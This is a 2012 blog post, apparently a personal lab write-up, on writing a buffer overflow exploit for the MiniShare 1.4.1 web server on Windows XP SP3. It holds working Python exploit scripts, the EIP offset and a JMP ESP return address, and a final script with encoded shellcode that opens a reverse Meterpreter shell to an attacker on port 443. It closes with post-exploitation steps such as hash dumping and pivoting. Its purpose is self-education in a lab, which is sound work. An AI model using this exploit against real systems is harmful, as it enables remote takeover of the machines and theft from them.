Sunday, September 23, 2012

Exploit writing: Buffer overflows

Hello again.

To learn more about writing exploits i started with a simple application that already has public exploit code available and is vulnerable to a Buffer overflow attack.
While searching for public exploits for Minishare 1.4.1 i found that there was none for Windows XP with Service Pack 3 installed.
A great first assignment for education purposes.

So my mission became to exploit the vulnerable service and take over the machine.

Lab environment:
- Windows XP with Service Pack 3 installed, MiniShare 1.4.1 running on port 8080
   and installed Ollydbg for debugging the application.
- My evil Backtrack 5 R2 (of course) for generating the exploit

First thing a hacker normally does is to gather information about what is running on the server.
A portscan, OS fingerprinting and gathering information about the services running.
Since i already know what is installed on the target i will skip this part.

Gathering information about the vulnerability..
Googling around I found out that the service is vulnerable when sending a oversized HTTP GET.

Let us write a little script to see if we can "smash the stack".
-----------
#!/usr/bin/python
import socket
target = 'TARGET'
port = 8080
buffer = "GET "
buffer+= "\x41" * 2000
buffer+= " HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending exploit.."
s.connect((target,port))
s.send(buffer)
s.close()
-----------
What the above does is to create a TCP packet on port 8080, Sending a GET with 2000 "A" characters, \x41 is the equivalent of A.
Adding HTTP/1.1 and 2 newlines to the end.
Saving and executing the above sends the packet.

Looking at the server we see the following


SMASHED! as we can see, it is true, the service is vulnerable.

Next: Attach the debugger to the service



Try exploiting again..



We can see that we were able to overwrite the EIP which is a very good thing.
What we need to do now is to find out where the EIP get overwritten, where we could place the malicious code, a return address is needed.

Looking at the executable modules view in the debugger we find several dlls that are loaded.



Since the application does not have a dll file and only uses the operating system dlls we can use shell32.dll or the user32.dll.
To find a return address we can right-click on the shell32.dll and choose "view code in CPU"



And search for the command JMP ESP




A return address is found with JMP ESP (important information, write it down), but we do not know the offsets. We do not know how many characters before the EIP get overwritten when running the exploit.
There are a few methods of finding this out.
For example adding ranges of (A:s) \x41 combined with \x42 (B:s) and \x43 (C:s)..
Instead of sending 2000 A:s we can send 1000 A:s and 1000 B:s and narrowing down the actual location of the EIP.
Luckily metasploit has a tool called pattern_create that creates a pattern of characters that we can later do a search for in the debugger.

creating a pattern and adding it to our exploit.

./pattern_create.rb 2000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7......o1Co2Co3Co4Co5Co

Edit the exploit code and add this pattern to the buffer.
Our new exploit code:
------------------
#!/usr/bin/python
import socket
target = 'TARGET'
port = 8080
buffer = "GET "
buffer+= ("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5At6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2Bh3Bh4Bh5Bh6Bh7Bh8Bh9Bi0Bi1Bi2Bi3Bi4Bi5Bi6Bi7Bi8Bi9Bj0Bj1Bj2Bj3Bj4Bj5Bj6Bj7Bj8Bj9Bk0Bk1Bk2Bk3Bk4Bk5Bk6Bk7Bk8Bk9Bl0Bl1Bl2Bl3Bl4Bl5Bl6Bl7Bl8Bl9Bm0Bm1Bm2Bm3Bm4Bm5Bm6Bm7Bm8Bm9Bn0Bn1Bn2Bn3Bn4Bn5Bn6Bn7Bn8Bn9Bo0Bo1Bo2Bo3Bo4Bo5Bo6Bo7Bo8Bo9Bp0Bp1Bp2Bp3Bp4Bp5Bp6Bp7Bp8Bp9Bq0Bq1Bq2Bq3Bq4Bq5Bq6Bq7Bq8Bq9Br0Br1Br2Br3Br4Br5Br6Br7Br8Br9Bs0Bs1Bs2Bs3Bs4Bs5Bs6Bs7Bs8Bs9Bt0Bt1Bt2Bt3Bt4Bt5Bt6Bt7Bt8Bt9Bu0Bu1Bu2Bu3Bu4Bu5Bu6Bu7Bu8Bu9Bv0Bv1Bv2Bv3Bv4Bv5Bv6Bv7Bv8Bv9Bw0Bw1Bw2Bw3Bw4Bw5Bw6Bw7Bw8Bw9Bx0Bx1Bx2Bx3Bx4Bx5Bx6Bx7Bx8Bx9By0By1By2By3By4By5By6By7By8By9Bz0Bz1Bz2Bz3Bz4Bz5Bz6Bz7Bz8Bz9Ca0Ca1Ca2Ca3Ca4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Ce4Ce5Ce6Ce7Ce8Ce9Cf0Cf1Cf2Cf3Cf4Cf5Cf6Cf7Cf8Cf9Cg0Cg1Cg2Cg3Cg4Cg5Cg6Cg7Cg8Cg9Ch0Ch1Ch2Ch3Ch4Ch5Ch6Ch7Ch8Ch9Ci0Ci1Ci2Ci3Ci4Ci5Ci6Ci7Ci8Ci9Cj0Cj1Cj2Cj3Cj4Cj5Cj6Cj7Cj8Cj9Ck0Ck1Ck2Ck3Ck4Ck5Ck6Ck7Ck8Ck9Cl0Cl1Cl2Cl3Cl4Cl5Cl6Cl7Cl8Cl9Cm0Cm1Cm2Cm3Cm4Cm5Cm6Cm7Cm8Cm9Cn0Cn1Cn2Cn3Cn4Cn5Cn6Cn7Cn8Cn9Co0Co1Co2Co3Co4Co5Co")
buffer+= " HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending exploit"
s.connect((target,port))
s.send(buffer)
s.close()
------------------

Sending the exploit will now reveal the following..



To find the offset we will use another tool from metasploit named pattern_offset.

Looking at the picture above we can see the offset address 36684335

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 36684335
1787
root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb Ch7C
1791

This gives us the valuable information that the register starts at 1787 characters and is 4 bytes long meaning that this is where we will add the return address.
So modifying the exploit code with the new information. Instead of sending 2000 A:s we can send 1787 A:s and add the return address we found earlier searching for JMP ESP.
After the return address we will put our exploit code, but first it is good to test that the return address is working..
One thing to note is that we are running a x86 processor, little endian reads the reverse order, so we need reverse the 4 bytes in the return address. 7CA7A787 becomes \x87\xA7\xA7\x7C


We will edit the exploit code with:
Removing the pattern and adding the below return address and adding ABCD.
-----
buffer = "GET " + "\x41" * 1787 + "\x87\xA7\xA7\x7C"
buffer+= "\x41\x42\x43\x44"
-----
Before executing the code we will create a breakpoint in the debugger to observe what is happening.
Find the JMP ESP line, "Goto, Expression" and enter the address 7CA7A787
Doubleclicking on the line will turn it red which means that the breakpoint is set, using F2 is also an option.



Run the Exploit again.



We can see from the above that we could jump to the address (7CA7A787) and add ABCD.
Excellent, this means that we can go ahead and start adding payloads and malicious code to our exploit.

So here we need to decide what we want to do. The possibilities are endless!
A bind shell, reverse shell or a messagebox saying "your hacked" or something else nasty. :)
Since my mission was to take over the machine i will go with a metasploit meterpreter which gives us huge possibilities for further exploitation.

Adding Metasploit payloads as C shellcode:

Using msfpayload or msfvenom to create a reverse meterpreter payload.
Command:


The above creates just what we need, a reverse_tcp meterpreter connection to attacker-ip on port 443.
compiled for x86 architecture, removing bad characters and output as C shellcode.


Editing our exploit code with the payload:
Instead of sending A:s i will instead send \x90 which is a NOP and basically does nothing.
While reading about exploitation i found some hints on how to increase stability of the exploit code.
Adding NOPS just before the exploit code was something recommended so i added 16 NOPS just before the metasploit payload code.

-----------------
#!/usr/bin/python
import socket
target = 'TARGET'
port = 8080
buffer = "GET "
buffer+= "\x90" * 1787
buffer+= "\x87\xA7\xA7\x7C"
buffer+= "\x90" * 16
buffer+= ("\xdb\xd6\xb8\x7c\xdd\x95\x46\xd9\x74\x24\xf4\x5b\x29\xc9\xb1"
"\x49\x31\x43\x19\x83\xc3\x04\x03\x43\x15\x9e\x28\x69\xae\xd7"
"\xd3\x92\x2f\x87\x5a\x77\x1e\x95\x39\xf3\x33\x29\x49\x51\xb8"
"\xc2\x1f\x42\x4b\xa6\xb7\x65\xfc\x0c\xee\x48\xfd\xa1\x2e\x06"
"\x3d\xa0\xd2\x55\x12\x02\xea\x95\x67\x43\x2b\xcb\x88\x11\xe4"
"\x87\x3b\x85\x81\xda\x87\xa4\x45\x51\xb7\xde\xe0\xa6\x4c\x54"
"\xea\xf6\xfd\xe3\xa4\xee\x76\xab\x14\x0e\x5a\xa8\x69\x59\xd7"
"\x1a\x19\x58\x31\x53\xe2\x6a\x7d\x3f\xdd\x42\x70\x3e\x19\x64"
"\x6b\x35\x51\x96\x16\x4d\xa2\xe4\xcc\xd8\x37\x4e\x86\x7a\x9c"
"\x6e\x4b\x1c\x57\x7c\x20\x6b\x3f\x61\xb7\xb8\x4b\x9d\x3c\x3f"
"\x9c\x17\x06\x1b\x38\x73\xdc\x02\x19\xd9\xb3\x3b\x79\x85\x6c"
"\x99\xf1\x24\x78\x9b\x5b\x21\x4d\x91\x63\xb1\xd9\xa2\x10\x83"
"\x46\x18\xbf\xaf\x0f\x86\x38\xcf\x25\x7e\xd6\x2e\xc6\x7e\xfe"
"\xf4\x92\x2e\x68\xdc\x9a\xa5\x68\xe1\x4e\x69\x39\x4d\x21\xc9"
"\xe9\x2d\x91\xa1\xe3\xa1\xce\xd1\x0b\x68\x67\x7b\xf1\xfb\x24"
"\x65\xa0\xf5\x5c\x9b\x52\x0b\x26\x12\xb4\x61\x48\x72\x6e\x1e"
"\xf1\xdf\xe4\xbf\xfe\xca\x80\x80\x75\xf8\x75\x4e\x7e\x75\x66"
"\x27\x8e\xc0\xd4\xee\x91\xff\x73\x0f\x04\xfb\xd5\x58\xb0\x01"
"\x03\xae\x1f\xfa\x66\xa4\x96\x6e\xc9\xd3\xd6\x7e\xc9\x23\x81"
"\x14\xc9\x4b\x75\x4c\x9a\x6e\x7a\x59\x8e\x22\xef\x61\xe7\x97"
"\xb8\x09\x05\xc1\x8f\x96\xf6\x24\x0e\xeb\x20\x01\x94\x1d\x47"
"\x61\x54")
buffer+= " HTTP/1.1\r\n\r\n"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print "\nSending exploit"
s.connect((target,port))
s.send(buffer)
s.close()
-----------------

We are ready to exploit the service.
On the Attacker machine we will create a multi handler listening on port 443 to receive the reverse connection from the target.
If the exploit is successful we will receive a connection from the target starting a Meterpreter session.


Executing our code...



Exploit successful!!!
We now have a meterpreter session with the target. We could get system access.
Running sysinfo will show the servername, operating system version and language.
From here we have the whole metasploit framework to our advantage.
Gathering hashdumps, creating new services, activating Remote Desktop, pivoting and more.
We own this system!!!

Mission accomplished! :)

/M

No comments:

Post a Comment